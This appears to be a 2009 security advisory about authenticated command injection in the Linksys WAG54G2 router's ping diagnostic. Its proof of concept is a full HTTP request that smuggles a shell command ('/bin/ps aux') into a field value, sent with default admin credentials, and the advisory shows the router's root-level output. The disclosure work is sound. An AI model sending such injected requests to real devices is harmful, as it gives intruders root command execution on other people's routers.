|
Brought to you by:
Suppliers of:
|
|
|
| |
| Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. When logged into web management console, it is possible to execute commands as root. |
| |
Credit:
The information has been provided by michal.sajdak at securitum.pl.
The original article can be found at: http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root
|
| |
Vulnerable Systems:
* Linksys WAG54G2
Proof of concept:
Send the following request to the server:
GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1& ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000& start=Start+Test&todo=ping_test&this_file=Diagnostics.htm& next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps
aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=
This will return:
HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
PID Uid VmSize Stat Command
1 root 284 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kthread]
...
Note that it is needed to supply valid user/password (Authorization HTTP header)
Vendor Status:
The vendor (Cisco) was contacted in March '09 and confirmed the issue. It is unpatched as of June 2 2009.
|
|
|
|
|
